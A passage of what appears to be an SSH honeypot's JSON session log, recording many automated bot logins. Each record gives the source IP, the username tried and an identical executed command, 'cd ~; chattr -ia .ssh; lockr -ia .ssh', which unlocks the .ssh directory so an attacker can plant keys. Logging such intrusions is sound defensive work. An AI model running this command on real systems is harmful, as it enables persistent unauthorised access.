2059 }, { "id": "d9db2b6a-2f5a-4d3c-8929-928976740fde", "name": "dewy-valiant-quokka", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58726, "username": "newusername", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 461, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:56:20.234678+00:00", "ended_at": "2026-08-27T10:56:20.861006+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2064 }, { "id": "a98b8c64-f7c7-437b-8233-3196f219467d", "name": "sterling-lucid-jay", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 46284, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 755, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:53:52.986704+00:00", "ended_at": "2026-08-27T10:53:53.797790+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "c4dc9bf3-9c93-4748-810e-7da8a48122cd", "name": "slender-wooded-skink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58704, "username": "server", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 442, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:52:59.834443+00:00", "ended_at": "2026-08-27T10:53:00.554651+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2050 }, { "id": "223a8369-38eb-4e4b-ac8d-7bdc65546e40", "name": "mottled-misty-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "178.43.50.171", "src_port": 42264, "username": "hruser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 368, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:48:45.475629+00:00", "ended_at": "2026-08-27T10:48:46.099879+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2044 }, { "id": "e7628936-8342-404b-a8f3-6d9306284970", "name": "seaward-crystal-vulture", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.213.238.91", "src_port": 37396, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 799, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:45:58.236494+00:00", "ended_at": "2026-08-27T10:45:58.984026+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "1c289a18-b33d-4216-b800-326121ede8e9", "name": "solar-fabled-cicada", "protocol": "ssh", "channel_kind": "exec", "src_ip": "183.91.11.36", "src_port": 59360, "username": "user14", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 829, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:44:14.502320+00:00", "ended_at": "2026-08-27T10:44:15.344863+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2049 }, { "id": "af896936-a490-4587-a7f3-ab81ff6b066d", "name": "smooth-brazen-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 48650, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:24:30.157713+00:00", "ended_at": "2026-08-27T08:24:32.057443+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "e607a66e-d86f-417a-8c25-495054fc31bd", "name": "ruddy-electric-bittern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 57332, "username": "naresh", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:22:24.947577+00:00", "ended_at": "2026-08-27T08:22:27.121487+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "51573ac0-8de7-44fc-a08e-9e5955ee4be6", "name": "keen-wistful-woodcock", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 37792, "username": "chrome", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 324, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:20:24.925073+00:00", "ended_at": "2026-08-27T08:20:26.162797+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "0627a051-cb7d-4548-9f26-e4a1dcd22a72", "name": "salty-grassy-wren", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 46482, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:18:24.060597+00:00", "ended_at": "2026-08-27T08:18:26.041370+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "034246a5-d8d9-4c4e-ac5d-4a6e0e936558", "name": "lonesome-salty-magpie", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 55170, "username": "jona", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 343, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:16:18.543965+00:00", "ended_at": "2026-08-27T08:16:19.629855+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "0df1176f-e02b-4a65-b742-07c8d6d8c95d", "name": "curious-mellow-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 35630, "username": "drew", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:14:15.648000+00:00", "ended_at": "2026-08-27T08:14:16.660351+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2245 }, { "id": "710045c9-1832-44be-936d-947afc7b6875", "name": "obsidian-sandy-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 44310, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:12:11.874759+00:00", "ended_at": "2026-08-27T08:12:13.112396+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "2b464d23-4a9a-46c2-b421-cbddd6f10f66", "name": "vaulted-obsidian-harrier", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 53000, "username": "oracle", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 355, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:10:09.081161+00:00", "ended_at": "2026-08-27T08:10:10.584016+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2261 }, { "id": "9b885516-221d-4f74-9843-6e3a63a4695a", "name": "pristine-thawing-moorhen", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 33456, "username": "noreply", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:08:10.525906+00:00", "ended_at": "2026-08-27T08:08:12.272829+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "976c541a-e9a4-44e6-807c-35a486a51cf9", "name": "deft-weathered-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 42158, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:06:10.277587+00:00", "ended_at": "2026-08-27T08:06:11.370164+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "7352cbb2-5e48-49fc-9aca-9aaf3991e360", "name": "sooty-grumpy-adder", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 50852, "username": "alex", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:04:07.709778+00:00", "ended_at": "2026-08-27T08:04:09.679566+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2263 }, { "id": "e709c5e7-de06-47f6-b4f4-902423420575", "name": "dusky-ruddy-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 59532, "username": "root2", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 356, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:02:04.456470+00:00", "ended_at": "2026-08-27T08:02:06.170696+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2305 }, { "id": "0786c559-9e56-498d-ae22-98af685d2aac", "name": "brave-fabled-ptarmigan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 39980, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T08:00:00.115200+00:00", "ended_at": "2026-08-27T08:00:01.100021+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "44d52360-b629-4e36-ab77-9c65f0ede2bf", "name": "stoic-nameless-thrush", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 48678, "username": "hduser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:57:46.188063+00:00", "ended_at": "2026-08-27T07:57:47.108583+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "d495506e-6814-4117-abf8-23cde34ce18c", "name": "rambling-keen-francolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 57380, "username": "joy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 335, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:55:48.231939+00:00", "ended_at": "2026-08-27T07:55:50.258474+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "a52258ef-1abf-4146-ac32-2ac0ccdddfff", "name": "twilight-keen-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 37848, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:53:45.879113+00:00", "ended_at": "2026-08-27T07:53:47.990566+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2262 }, { "id": "526ccc32-3278-43c2-8f81-18ffc9142ec7", "name": "watchful-subtle-badger", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 46544, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:51:40.258908+00:00", "ended_at": "2026-08-27T07:51:42.100928+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "c1b94865-7f0a-4723-a31c-97a41e6bf634", "name": "prairie-bitter-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 55244, "username": "fecjl1yg", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:49:36.271185+00:00", "ended_at": "2026-08-27T07:49:37.460032+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2283 }, { "id": "fe1dcfdf-bc8f-4ee3-89e4-bf34ef8e35ff", "name": "wooded-crisp-woodcock", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 35710, "username": "ali", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:47:25.569658+00:00", "ended_at": "2026-08-27T07:47:27.048008+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "370ee545-486b-492e-b59e-9b1bfd9f03f1", "name": "salty-fickle-snipe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 44410, "username": "iso", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 335, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:45:09.960697+00:00", "ended_at": "2026-08-27T07:45:12.211443+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "877a14a2-757c-4dd2-b1ae-ceb3a9f27876", "name": "sterling-smooth-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 53106, "username": "alex", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 333, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:43:02.733485+00:00", "ended_at": "2026-08-27T07:43:04.546230+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "73424e1c-eca9-420a-a275-fb117c641912", "name": "coastal-steady-elk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 33578, "username": "gabriel", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:40:59.579350+00:00", "ended_at": "2026-08-27T07:41:01.875128+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2262 }, { "id": "fe59c694-2267-4799-997e-6ec4815988c2", "name": "candid-hearty-anteater", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 42276, "username": "ookla", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 343, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:38:56.662436+00:00", "ended_at": "2026-08-27T07:38:57.979912+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "604f475b-98ce-4588-a71b-09b89ef05a52", "name": "zealous-clever-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 50982, "username": "mc", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:36:54.895137+00:00", "ended_at": "2026-08-27T07:36:56.236864+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "adea8a27-3880-44a8-8881-07ebd64b8168", "name": "solemn-upland-firefly", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 59684, "username": "ugo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:34:54.128378+00:00", "ended_at": "2026-08-27T07:34:55.667393+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "00ca3838-07e4-43f2-97b7-a588c7bf3f10", "name": "gallant-golden-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 40150, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:32:38.561558+00:00", "ended_at": "2026-08-27T07:32:40.464658+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "94ff5a48-3683-4428-9c98-5452bc5b7406", "name": "valiant-plush-turnstone", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 48844, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 368, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:30:31.282669+00:00", "ended_at": "2026-08-27T07:30:32.695110+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "33a416c2-d44e-49ee-b200-ed7af2034aa4", "name": "lofty-prickly-ocelot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 57532, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:28:19.250693+00:00", "ended_at": "2026-08-27T07:28:21.427591+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "d57e288b-31b9-43ea-8f21-f6def60e9813", "name": "indigo-smooth-magpie", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 37996, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 371, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:26:09.653360+00:00", "ended_at": "2026-08-27T07:26:10.832162+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2265 }, { "id": "04f01d6a-7440-4531-9115-1c058db21d70", "name": "verdant-civil-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 46694, "username": "nfs", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 333, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:24:11.491429+00:00", "ended_at": "2026-08-27T07:24:12.531091+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "9d5b2901-3556-4c9b-806e-07f5bc37792c", "name": "lonesome-vaulted-mongoose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 55388, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:22:10.073480+00:00", "ended_at": "2026-08-27T07:22:11.907203+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2289 }, { "id": "8477a6bd-07cb-4fd4-979f-12cccb1b9c57", "name": "gnarled-cosmic-goose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 35846, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:20:03.763769+00:00", "ended_at": "2026-08-27T07:20:05.167051+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "0d6118a4-cf5f-4af8-8f8c-79841f70cd52", "name": "upland-frank-kudu", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 44548, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 324, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:17:58.610375+00:00", "ended_at": "2026-08-27T07:17:59.905550+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2212 }, { "id": "c4de592d-d981-43c0-96be-27978e9ac70d", "name": "tranquil-lanky-petrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 53256, "username": "testuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:15:48.499839+00:00", "ended_at": "2026-08-27T07:15:49.490791+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "51612420-ba2f-48c7-a878-ddb7d8c68fa8", "name": "rapid-orderly-reindeer", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 33730, "username": "florin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:13:39.204725+00:00", "ended_at": "2026-08-27T07:13:40.379332+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2202 }, { "id": "abd3c6b5-7436-4da3-979d-4c48f8db5de7", "name": "subtle-steady-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 42436, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:09:47.536725+00:00", "ended_at": "2026-08-27T07:09:49.079769+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2238 }, { "id": "ca13901f-7aba-45b0-aa2b-12b3ad3bcb7e", "name": "plush-snowy-lark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 51136, "username": "lbx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 351, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:07:42.310502+00:00", "ended_at": "2026-08-27T07:07:44.027632+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2171 }, { "id": "24b22214-e858-4730-bbcd-b41e935ab9f5", "name": "burly-gleaming-shearwater", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 59844, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 348, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:05:41.758184+00:00", "ended_at": "2026-08-27T07:05:43.200621+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2164 }, { "id": "432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6", "name": "ashen-lofty-ptarmigan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 40314, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 334, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:03:36.617750+00:00", "ended_at": "2026-08-27T07:03:37.835051+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "aaf58b00-0af5-4c4a-8453-752d4e5b8ee0", "name": "crisp-gritty-wagtail", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 49024, "username": "steam", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 333, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T07:01:26.047857+00:00", "ended_at": "2026-08-27T07:01:27.467618+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2140 }, { "id": "98796246-8261-44f3-a812-1a7c50633a0e", "name": "crystal-crimson-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 57732, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 350, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:59:18.510870+00:00", "ended_at": "2026-08-27T06:59:20.656529+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "cd337afe-137f-4ac9-bc9a-20e8dcbd7860", "name": "rustic-zealous-wren", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 38200, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 335, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:57:11.711848+00:00", "ended_at": "2026-08-27T06:57:13.878106+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "cfed138f-a5a9-435f-8c03-b58c4ce0cb34", "name": "mindful-amiable-tern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 46902, "username": "mom", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 333, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:54:59.278006+00:00", "ended_at": "2026-08-27T06:55:00.845150+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2099 }, { "id": "b40208fd-5f2f-42cf-992b-9a2614c05fa3", "name": "weathered-blithe-finch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 55604, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 335, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:52:58.776446+00:00", "ended_at": "2026-08-27T06:52:59.765840+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3", "name": "graceful-dappled-quail", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 36070, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 351, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:50:59.036810+00:00", "ended_at": "2026-08-27T06:51:00.435845+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2139 }, { "id": "14f6b565-1d2d-496f-965d-781a68b86c70", "name": "plush-rambling-eagle", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 44774, "username": "dante", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:48:54.647274+00:00", "ended_at": "2026-08-27T06:48:55.796824+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2074 }, { "id": "8f597acf-c9c6-4d03-8c67-09f0068dd656", "name": "amiable-supple-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 53484, "username": "weblogic", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; 